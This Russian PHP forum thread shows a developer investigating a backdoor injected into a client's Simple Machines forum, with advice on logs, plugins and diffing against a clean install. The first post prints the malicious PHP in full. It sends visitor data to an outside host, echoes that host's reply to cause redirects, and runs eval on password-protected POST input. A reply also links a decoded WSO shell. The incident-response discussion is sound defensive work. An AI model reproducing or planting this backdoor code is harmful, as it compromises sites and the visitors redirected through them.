За последние 24 часа нас посетили 18722 программиста и 1594 робота. Сейчас ищут 1962 программиста ...

Залили шелл

Тема в разделе "Прочее", создана пользователем Алекс8, 11 авг 2017.

  1. Алекс8

    Алекс8 Активный пользователь

    С нами с:
    18 май 2017
    Сообщения:
    1.730
    Симпатии:
    359
    У меня тут клиенту шелл залили, дописали к файлу index.php .. . зашифрованный все как полагается..

    вот его код))
    PHP:
    1.     if (!isset($ibv)) {
    2.         @ini_set("display_errors",false);
    3.         @error_reporting(0);
    4.         if(!empty($_COOKIE["client_check"]) && empty($ibv)) {
    5.             $ibv = $_COOKIE["client_check"];
    6.             echo $ibv;
    7.         } elseif (empty($ibv)) {
    8.             if (strstr($_SERVER["HTTP_HOST"], "127.0")){
    9.                 $name = $_SERVER["SERVER_ADDR"];
    10.             }else{
    11.                 $name = $_SERVER["HTTP_HOST"];
    12.             }
    13.             $usera = isset($_SERVER["HTTP_USER_AGENT"]) ? urlencode($_SERVER["HTTP_USER_AGENT"]):"";
    14.          
    15.             $url = "http://vypileno.ru/get.php?ip=".urlencode($_SERVER["REMOTE_ADDR"])."&d=".urlencode($name.$_SERVER["REQUEST_URI"])."&u=".$usera."&i=1&h=".md5("5d065a4a70eccd866c57d62e8558890011");
    16.          
    17.             if(function_exists("curl_init")) {
    18.                 $ch = curl_init($url); curl_setopt($ch, CURLOPT_HEADER, FALSE);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
    19.                 curl_setopt($ch, CURLOPT_TIMEOUT, 5);
    20.                 curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
    21.                 $ibv = curl_exec($ch);
    22.                 $info = curl_getinfo($ch);
    23.                 if ($info["http_code"]!=200){
    24.                     $ibv="";
    25.                 }
    26.                 curl_close($ch);
    27.             } elseif(ini_get("allow_url_fopen") == 1) {
    28.                 $ibv = file_get_contents($url);
    29.             }
    30.             if(!empty($_POST["p"]) && md5(md5($_POST["p"])) == "cadd9ed9d7c0e590f789a825e7c61d59") {
    31.                 @eval(stripslashes($_POST["c"]));
    32.             }
    33.             echo $ibv;
    34.         }
    35.     }
    что то получает с удаленного сайта и отображает.. пока не нашел как залили....
    клиент обнаружил что его редиректит, поэтому полез разбираться..
    Что посоветуете? Как вычислить как его залили??
     
    #1 Алекс8, 11 авг 2017
    Последнее редактирование модератором: 11 авг 2017
  2. ADSoft

    ADSoft Старожил

    С нами с:
    12 мар 2007
    Сообщения:
    3.861
    Симпатии:
    752
    Адрес:
    Татарстан
    Логи!
     
  3. Алекс8

    Алекс8 Активный пользователь

    С нами с:
    18 май 2017
    Сообщения:
    1.730
    Симпатии:
    359
    еще не добрался)) нашел похоже сам шелл.. а не просто редирект который срабывает из index.php

    файл в аттаче))
     

    Вложения:

    • system_db.zip
      Размер файла:
      18,8 КБ
      Просмотров:
      7
  4. Fell-x27

    Fell-x27 Суперстар
    Команда форума Модератор

    С нами с:
    25 июл 2013
    Сообщения:
    12.156
    Симпатии:
    1.771
    Адрес:
    :сердА
    Залить могли разными способами. Даже через SQL-инъекцию можно залить PHP-шелл. Другие вероятные места - заливка файлов. Картиночки там, например. В них на раз зашивается шелл.
     
    Алекс8 нравится это.
  5. Алекс8

    Алекс8 Активный пользователь

    С нами с:
    18 май 2017
    Сообщения:
    1.730
    Симпатии:
    359
    картинки при загрузке все пережимаются.. sql инъекция тоже маловероятно.. все данные через плейсхолдеры в запросах отправляются.. пока смотрю, запустил айболита)
     
  6. alexblack

    alexblack Старожил

    С нами с:
    20 янв 2016
    Сообщения:
    640
    Симпатии:
    381
    Декодировал твой файл.Судя по всему это WSO Shell,можешь исходники почитать если интересно,сюда код не лезет,опубликовал на pastebin:
    https://pastebin.com/SaCMPeX3
     
    Алекс8 нравится это.
  7. Fell-x27

    Fell-x27 Суперстар
    Команда форума Модератор

    С нами с:
    25 июл 2013
    Сообщения:
    12.156
    Симпатии:
    1.771
    Адрес:
    :сердА
    Самоуверенность разработчика - первая брешь в безопасности.
     
  8. Алекс8

    Алекс8 Активный пользователь

    С нами с:
    18 май 2017
    Сообщения:
    1.730
    Симпатии:
    359
    да движок то opensource) не я его делал) заплатки выходят регулярно..
     
  9. alexblack

    alexblack Старожил

    С нами с:
    20 янв 2016
    Сообщения:
    640
    Симпатии:
    381
    А что за движок?
     
  10. Алекс8

    Алекс8 Активный пользователь

    С нами с:
    18 май 2017
    Сообщения:
    1.730
    Симпатии:
    359
    да мой любимый simplemachines.org
    я его неплохо знаю.. у меня немало клиентов с такими форумчами.. никогда не было никаких проблем..
     
  11. alexblack

    alexblack Старожил

    С нами с:
    20 янв 2016
    Сообщения:
    640
    Симпатии:
    381
    Ну тут 2 пути, либо баг был из коробки,что кстати не редкость.У меня друг на монстрах покупал шаблон,поставил его и через 2 дня пишет,что у него появился новый файл странным образом,я запросил логи сервера,почитал,вижу 2 запроса подряд причем от Питона,первым чекнули на багу,вторым залили шелл,оказалось в итоге что шаблон был на фреймворке версия которого содержала критические баги,собственно либо в каком то кастомном моменте отсутствие фильтрации входных данных.Нужно локализовать уязвимое место,иначе даже после чистки - снова прокинут.
     
  12. Fell-x27

    Fell-x27 Суперстар
    Команда форума Модератор

    С нами с:
    25 июл 2013
    Сообщения:
    12.156
    Симпатии:
    1.771
    Адрес:
    :сердА
    А еще есть уязвимости плагинов.
     
  13. Алекс8

    Алекс8 Активный пользователь

    С нами с:
    18 май 2017
    Сообщения:
    1.730
    Симпатии:
    359
    вот сижу смотрю файлы)

    и плагины смотрю..
     
  14. alexblack

    alexblack Старожил

    С нами с:
    20 янв 2016
    Сообщения:
    640
    Симпатии:
    381
    Лучше смотри логи сервера,подозрительные запросы сразу бросаются в глаза.
     
  15. Алекс8

    Алекс8 Активный пользователь

    С нами с:
    18 май 2017
    Сообщения:
    1.730
    Симпатии:
    359
    там кроме обращения к файлу шелла нет ничего.. по крайней мере я не увидел..
    --- Добавлено ---
    да.. у логов ротация неделя.. так что если раньше что то было - не увижу..
     
  16. Fell-x27

    Fell-x27 Суперстар
    Команда форума Модератор

    С нами с:
    25 июл 2013
    Сообщения:
    12.156
    Симпатии:
    1.771
    Адрес:
    :сердА
    Хреново. Но ты ищи.
     
  17. Zuldek

    Zuldek Старожил

    С нами с:
    13 май 2014
    Сообщения:
    2.381
    Симпатии:
    344
    Адрес:
    Лондон, Тисовая улица, дом 4, чулан под лестницей
    Если честно, пугают подходы к решению проблемы... .

    Первое что необходимо сделать: сохранить копии логов, запросить необходимые у хостера (если они вам видны за короткий промежуток времени - долбитесь к хостеру, логи в 90% случаях есть за больший период времени, но на не доступном вам уровне).

    Второе - посмотреть даты изменения файлов в которые были записаны изменения. Датам изменения файлов в фс верить нельзя, в случае ручного взлома не школьник их легко за собой поправит. Ниразу не факт что шелл вам залили через запрос на веб-сервер поэтому с хостера сливаете еще и ftp-логи (и прочие, в зависимости от используемых протоколов внесения изменений, вида услуги хостинга, панели управления услугами и т.п.).
    После нахождения и удаления шелла, не спешите радоваться: в единственной копии они заливаются не часто. смотрите diffom разницу с голой копией коробки (этот же подход поможет выявить установку левых плагинов и ручной говнокод)

    После нахождения точек входа и устранения изменений система проверяется на открытые уязвимости (обычно это коробка, поэтому эксплойты все лежат в свободном доступе), обновляется до стабильной версии рекомендованной контрибуторами продукта.

    На последнем этапе можно прогнать сайт стандартными инструментами тестирования для поиска точек входа, инъекций и т.п.
     
    #17 Zuldek, 11 авг 2017
    Последнее редактирование: 11 авг 2017
    Fell-x27 нравится это.
  18. Алекс8

    Алекс8 Активный пользователь

    С нами с:
    18 май 2017
    Сообщения:
    1.730
    Симпатии:
    359
    @Zuldek логов нет..
    копии логов нет потому что свой сервер и период ротации 7 дней
    даты изменения файлов в первую очередь посмотрел
    в логах ФТП ничего подозрительного не увидел..
    айболитом всем проверил
    все файлы вручную просмотрел на предмет инъекций.. а так же все директории посмотрел на предмет незнакомых файлов.
     
  19. Fell-x27

    Fell-x27 Суперстар
    Команда форума Модератор

    С нами с:
    25 июл 2013
    Сообщения:
    12.156
    Симпатии:
    1.771
    Адрес:
    :сердА
    Фрилансеров не подряжал ли клиент себе? Это тоже вполне себе вектор.
     
    Алекс8 и alexblack нравится это.
  20. Алекс8

    Алекс8 Активный пользователь

    С нами с:
    18 май 2017
    Сообщения:
    1.730
    Симпатии:
    359
    хорошая идея была) но нет)) сказал что мне верен))
     
  21. MouseZver

    MouseZver Суперстар

    С нами с:
    1 апр 2013
    Сообщения:
    7.799
    Симпатии:
    1.331
    Адрес:
    Лень
  22. Алекс8

    Алекс8 Активный пользователь

    С нами с:
    18 май 2017
    Сообщения:
    1.730
    Симпатии:
    359
    @MouseZver было такое в нескольких файлах)) уже удалил)
     
  23. MouseZver

    MouseZver Суперстар

    С нами с:
    1 апр 2013
    Сообщения:
    7.799
    Симпатии:
    1.331
    Адрес:
    Лень
    я бы вовсе злой код залил в память хостинга для приличия чтобы не палиться
     
  24. Алекс8

    Алекс8 Активный пользователь

    С нами с:
    18 май 2017
    Сообщения:
    1.730
    Симпатии:
    359
    это как?
     
  25. MouseZver

    MouseZver Суперстар

    С нами с:
    1 апр 2013
    Сообщения:
    7.799
    Симпатии:
    1.331
    Адрес:
    Лень